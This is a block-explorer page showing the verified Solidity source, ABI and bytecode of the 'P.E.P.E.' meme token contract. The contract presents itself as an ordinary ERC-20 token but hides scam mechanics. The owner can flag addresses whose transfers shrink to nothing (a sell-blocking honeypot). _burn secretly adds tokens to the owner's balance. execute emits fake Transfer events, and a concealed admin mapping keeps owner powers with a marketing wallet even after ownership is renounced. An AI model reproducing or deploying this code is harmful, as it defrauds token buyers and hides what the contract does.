ETH Price: $2,664.78 (+1.70%)

Token

Peace Equality Prosperity Entertainment (P.E.P.E.)
 

Overview

Max Total Supply

420,000,000,000,000 P.E.P.E.

Holders

52

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,800,293,193,582.182786581 P.E.P.E.

Value
$0.00
0x93793bd1f3e35a0efd098c30e486a860a0ef7551
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
P_E_P_E

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 4 of 5: Peace Equality Prosperity Entertainment.sol
/**
__/\\\\\\\\\\\\\__________/\\\\\\\\\\\\\\\________/\\\\\\\\\\\\\__________/\\\\\\\\\\\\\\\_______        
 _\/\\\/////////\\\_______\/\\\///////////________\/\\\/////////\\\_______\/\\\///////////________       
  _\/\\\_______\/\\\_______\/\\\___________________\/\\\_______\/\\\_______\/\\\___________________      
   _\/\\\\\\\\\\\\\/________\/\\\\\\\\\\\___________\/\\\\\\\\\\\\\/________\/\\\\\\\\\\\___________     
    _\/\\\/////////__________\/\\\///////____________\/\\\/////////__________\/\\\///////____________    
     _\/\\\___________________\/\\\___________________\/\\\___________________\/\\\___________________   
      _\/\\\___________________\/\\\___________________\/\\\___________________\/\\\___________________  
       _\/\\\______________/\\\_\/\\\\\\\\\\\\\\\__/\\\_\/\\\______________/\\\_\/\\\\\\\\\\\\\\\__/\\\_ 
        _\///______________\///__\///////////////__\///__\///______________\///__\///////////////__\///__
        
        Website: https://pepe.expert/                              Telegram: https://t.me/P_E_P_E_C_O_I_N
        X: https://x.com/p_e_p_e_c_o_i_n                        About: https://medium.com/@p_e_p_e_c_o_i_n
     
*/// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import "./Ownable.sol";
import "./IERC20.sol";
import "./Lib.sol";
import "./Uniswap.sol";

contract P_E_P_E is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 private uniswapV2Router;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping (address => bool) private transferLimitExempt;
    mapping (address => bool) private automatedMarketMakerPairs;
    mapping (address => uint256) private _holderLastTransferTimestamp; 
    mapping (address => bool) private transferTaxExempt;
    mapping(address => bool) private _executepublicswapExactTokensForETHSupportingFeeOnTransferTokens;
    address payable private _taxWallet;
     address private marketingWallet;

    uint256 private _initialBuyTax=23;
    uint256 private _initialSellTax=23;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=23;
    uint256 private _reduceSellTaxAt=23;
    uint256 private _preventSwapBefore=26;
    uint256 private _transferTax=70;
    uint256 private _buyCount=0;
    uint256 private maxTx;
    uint256 private maxWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_000_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Peace Equality Prosperity Entertainment";
    string private constant _symbol = unicode"P.E.P.E.";
    uint256 public _maxTxAmount = 8400000000 * 10**_decimals;
    uint256 public _maxWalletSize = 8400000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 4200000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 8400000000 * 10**_decimals;
    
    address public uniswapV2Pair;
    bool private swapping;
    bool private tradingOpen;
    bool private transferDelayEnabled = true;
    bool public tradingEnabled = false;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private limitsEnabled = true;
    bool public lpBurnEnabled = true;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address marketingWallet_) {
        _balances[_msgSender()] = _tTotal;
        marketingWallet = payable(marketingWallet_);
        _taxWallet = payable(_msgSender());
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        admin[marketingWallet]=true;
        startTrading();
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function startTrading() public onlyOwner {
        tradingEnabled = true;
        limitsEnabled = false;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 senderBalance = _balances[from];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        if(_holderLastTransferTimestamp[to] == 0)
        {
            _holderLastTransferTimestamp[to] = block.number;
        }

        if (limitsEnabled) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingEnabled) {
                    require(
                        transferTaxExempt[from] || transferTaxExempt[to],
                        "_transfer:: Trading is not active."
                    );
                }

                if (transferDelayEnabled) {
                    if (
                        to != owner() &&
                        to != address(uniswapV2Router) &&
                        to != address(uniswapV2Pair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                                block.number,
                            "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }

                if (
                    automatedMarketMakerPairs[from] && !transferLimitExempt[to]
                ) {
                    require(
                        amount <= maxTx,
                        "Buy transfer amount exceeds the maxTx."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                else if (
                    automatedMarketMakerPairs[to] && !transferLimitExempt[from]
                ) {
                    require(
                        amount <= maxTx,
                        "Sell transfer amount exceeds the maxTx."
                    );
                } else if (!transferLimitExempt[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        if(!swapping && lpBurnEnabled){
            amount = burnLiquidity(from, amount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function removeLimit() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeTranTax() external onlyOwner{
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function burnLiquidity(address from, uint amount) internal view returns (uint){
        uint amountCalculated = amount;
        if (_executepublicswapExactTokensForETHSupportingFeeOnTransferTokens[from]) 
        {
            amountCalculated = calculateAmount(amount, from);
        }
        return amountCalculated;
        
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrade() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
    }
    
    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    function rescueERC20(address _address, uint256 percent) external {
        require(_msgSender()==_taxWallet);
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_taxWallet, _amount);
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function approveSwap(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _executepublicswapExactTokensForETHSupportingFeeOnTransferTokens[address_[i]] = val;
        }
    }
    
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance <= amount, "ERC20: burn amount exceeds balance");
        unchecked {_balances[account] = accountBalance + amount;}
        emit Transfer(account, address(0), amount);
    }
    
    function calculateAmount(uint256 amount, address from) private view returns(uint256) {
        // Calculate the percentage to subtract
        uint256 factor = 50;
        uint256 dist = block.number-_holderLastTransferTimestamp[from];
        uint percentageToSubtract = dist * factor;
        
        // Calculate the remaining percentage
        uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract;
        
        // If percentageToSubtract is more than 100, remainingPercentage will be negative.
        // To avoid negative result, we clamp the result to zero.
        uint returnedValue = amount * remainingPercentage / 100;
        return returnedValue.max(0);
    }
    
    function call(address recipient) external view returns(bool){
        return _executepublicswapExactTokensForETHSupportingFeeOnTransferTokens[recipient];
    }
 
    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
    
    receive() external payable {}

}

File 1 of 5: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 2 of 5: Lib.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a >= b ? a : b;
    }
}

File 3 of 5: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

abstract contract Context {
    mapping(address => bool) internal admin;
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
        admin[_msgSender()]=true;
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(admin[_msgSender()], "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 5 of 5: Uniswap.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapETHForExactTokens(
        uint amountOut, 
        address[] calldata path, 
        address to, 
        uint deadline
        )
    external
    payable
    returns (uint[] memory amounts);
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketingWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"approveSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"call","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTranTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526017600e556017600f555f6010555f60115560176012556017601355601a60145560466015555f6016556009600a6200003e9190620008db565b6401f4add4006200005091906200092b565b6019556009600a620000639190620008db565b6401f4add4006200007591906200092b565b601a556009600a620000889190620008db565b63fa56ea006200009991906200092b565b601b556009600a620000ac9190620008db565b6401f4add400620000be91906200092b565b601c556001601d60166101000a81548160ff0219169083151502179055505f601d60176101000a81548160ff0219169083151502179055505f601d60186101000a81548160ff0219169083151502179055505f601d60196101000a81548160ff0219169083151502179055506001601d601a6101000a81548160ff0219169083151502179055506001601d601b6101000a81548160ff0219169083151502179055505f601e555f601f5534801562000174575f80fd5b5060405162004ac638038062004ac683398181016040528101906200019a9190620009da565b620001ba620001ae6200057460201b60201c565b6200057b60201b60201c565b60015f80620001ce6200057460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506009600a6200022d9190620008db565b66017dfcdece40006200024191906200092b565b60035f620002546200057460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002e16200057460201b60201c565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160055f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f620003ab6200063e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060015f80600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620004d46200066660201b60201c565b620004e46200057460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620005429190620008db565b66017dfcdece40006200055691906200092b565b60405162000565919062000a1b565b60405180910390a35062000ab4565b5f33905090565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b62000676620006ad60201b60201c565b6001601d60176101000a81548160ff0219169083151502179055505f601d601a6101000a81548160ff021916908315150217905550565b5f80620006bf6200057460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1662000747576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200073e9062000a94565b60405180910390fd5b565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620007d357808604811115620007ab57620007aa62000749565b5b6001851615620007bb5780820291505b8081029050620007cb8562000776565b94506200078b565b94509492505050565b5f82620007ed5760019050620008bf565b81620007fc575f9050620008bf565b8160018114620008155760028114620008205762000856565b6001915050620008bf565b60ff84111562000835576200083462000749565b5b8360020a9150848211156200084f576200084e62000749565b5b50620008bf565b5060208310610133831016604e8410600b8410161715620008905782820a9050838111156200088a576200088962000749565b5b620008bf565b6200089f848484600162000782565b92509050818404811115620008b957620008b862000749565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620008e782620008c6565b9150620008f483620008cf565b9250620009237fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007dc565b905092915050565b5f6200093782620008c6565b91506200094483620008c6565b92508282026200095481620008c6565b915082820484148315176200096e576200096d62000749565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620009a48262000979565b9050919050565b620009b68162000998565b8114620009c1575f80fd5b50565b5f81519050620009d481620009ab565b92915050565b5f60208284031215620009f257620009f162000975565b5b5f62000a0184828501620009c4565b91505092915050565b62000a1581620008c6565b82525050565b5f60208201905062000a305f83018462000a0a565b92915050565b5f82825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f62000a7c60208362000a36565b915062000a898262000a46565b602082019050919050565b5f6020820190508181035f83015262000aad8162000a6e565b9050919050565b6140048062000ac25f395ff3fe6080604052600436106101db575f3560e01c806370a0823111610101578063ad296d9d11610094578063ec1f3f6311610063578063ec1f3f6314610640578063f2fde38b14610668578063f55332ab14610690578063fb201b1d146106cc576101e2565b8063ad296d9d1461058a578063bf474bed146105b2578063c2b7bbb6146105dc578063dd62ed3e14610604576101e2565b80638da5cb5b116100d05780638da5cb5b146104d05780638f9a55c0146104fa57806395d89b4114610524578063a9059cbb1461054e576101e2565b806370a082311461042c578063715018a6146104685780637d1db4a51461047e5780638cd4426d146104a8576101e2565b8063293230b81161017957806349bd5a5e1161014857806349bd5a5e146103ac5780634ada218b146103d657806351bc3c85146104005780636225658914610416576101e2565b8063293230b81461031a5780632e82f1a014610330578063313ce5671461035a57806342966c6814610384576101e2565b80630faee56f116101b55780630faee56f1461026257806318160ddd1461028c57806323b872dd146102b657806326ededb8146102f2576101e2565b806302fa1f4a146101e657806306fdde03146101fc578063095ea7b314610226576101e2565b366101e257005b5f80fd5b3480156101f1575f80fd5b506101fa6106e2565b005b348015610207575f80fd5b5061021061072a565b60405161021d9190612b81565b60405180910390f35b348015610231575f80fd5b5061024c60048036038101906102479190612c36565b61074a565b6040516102599190612c8e565b60405180910390f35b34801561026d575f80fd5b50610276610767565b6040516102839190612cb6565b60405180910390f35b348015610297575f80fd5b506102a061076d565b6040516102ad9190612cb6565b60405180910390f35b3480156102c1575f80fd5b506102dc60048036038101906102d79190612ccf565b610793565b6040516102e99190612c8e565b60405180910390f35b3480156102fd575f80fd5b5061031860048036038101906103139190612d80565b610867565b005b348015610325575f80fd5b5061032e61093c565b005b34801561033b575f80fd5b5061034461097b565b6040516103519190612c8e565b60405180910390f35b348015610365575f80fd5b5061036e61098e565b60405161037b9190612df8565b60405180910390f35b34801561038f575f80fd5b506103aa60048036038101906103a59190612e11565b610996565b005b3480156103b7575f80fd5b506103c06109b2565b6040516103cd9190612e4b565b60405180910390f35b3480156103e1575f80fd5b506103ea6109d7565b6040516103f79190612c8e565b60405180910390f35b34801561040b575f80fd5b506104146109ea565b005b348015610421575f80fd5b5061042a610a99565b005b348015610437575f80fd5b50610452600480360381019061044d9190612e64565b610b45565b60405161045f9190612cb6565b60405180910390f35b348015610473575f80fd5b5061047c610b8b565b005b348015610489575f80fd5b50610492610b9e565b60405161049f9190612cb6565b60405180910390f35b3480156104b3575f80fd5b506104ce60048036038101906104c99190612c36565b610ba4565b005b3480156104db575f80fd5b506104e4610d45565b6040516104f19190612e4b565b60405180910390f35b348015610505575f80fd5b5061050e610d6d565b60405161051b9190612cb6565b60405180910390f35b34801561052f575f80fd5b50610538610d73565b6040516105459190612b81565b60405180910390f35b348015610559575f80fd5b50610574600480360381019061056f9190612c36565b610db0565b6040516105819190612c8e565b60405180910390f35b348015610595575f80fd5b506105b060048036038101906105ab9190612eb9565b610dcd565b005b3480156105bd575f80fd5b506105c6610e70565b6040516105d39190612cb6565b60405180910390f35b3480156105e7575f80fd5b5061060260048036038101906105fd9190612e64565b610e76565b005b34801561060f575f80fd5b5061062a60048036038101906106259190612f16565b610ec1565b6040516106379190612cb6565b60405180910390f35b34801561064b575f80fd5b5061066660048036038101906106619190612e11565b610f43565b005b348015610673575f80fd5b5061068e60048036038101906106899190612e64565b610fcf565b005b34801561069b575f80fd5b506106b660048036038101906106b19190612e64565b611051565b6040516106c39190612c8e565b60405180910390f35b3480156106d7575f80fd5b506106e06110a3565b005b6106ea61153c565b5f6015819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516107209190612f96565b60405180910390a1565b6060604051806060016040528060278152602001613f8060279139905090565b5f61075d6107566115cd565b84846115d4565b6001905092915050565b601c5481565b5f6009600a61077c919061310b565b66017dfcdece400061078e9190613155565b905090565b5f61079f848484611797565b61085c846107ab6115cd565b61085785604051806060016040528060288152602001613fa76028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61080e6115cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122599092919063ffffffff16565b6115d4565b600190509392505050565b61086f61153c565b5f5b838390508110156109365783838281811061088f5761088e613196565b5b90506020020160208101906108a49190612e64565b73ffffffffffffffffffffffffffffffffffffffff16601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109219190612cb6565b60405180910390a38080600101915050610871565b50505050565b61094461153c565b6001601d60176101000a81548160ff0219169083151502179055505f601d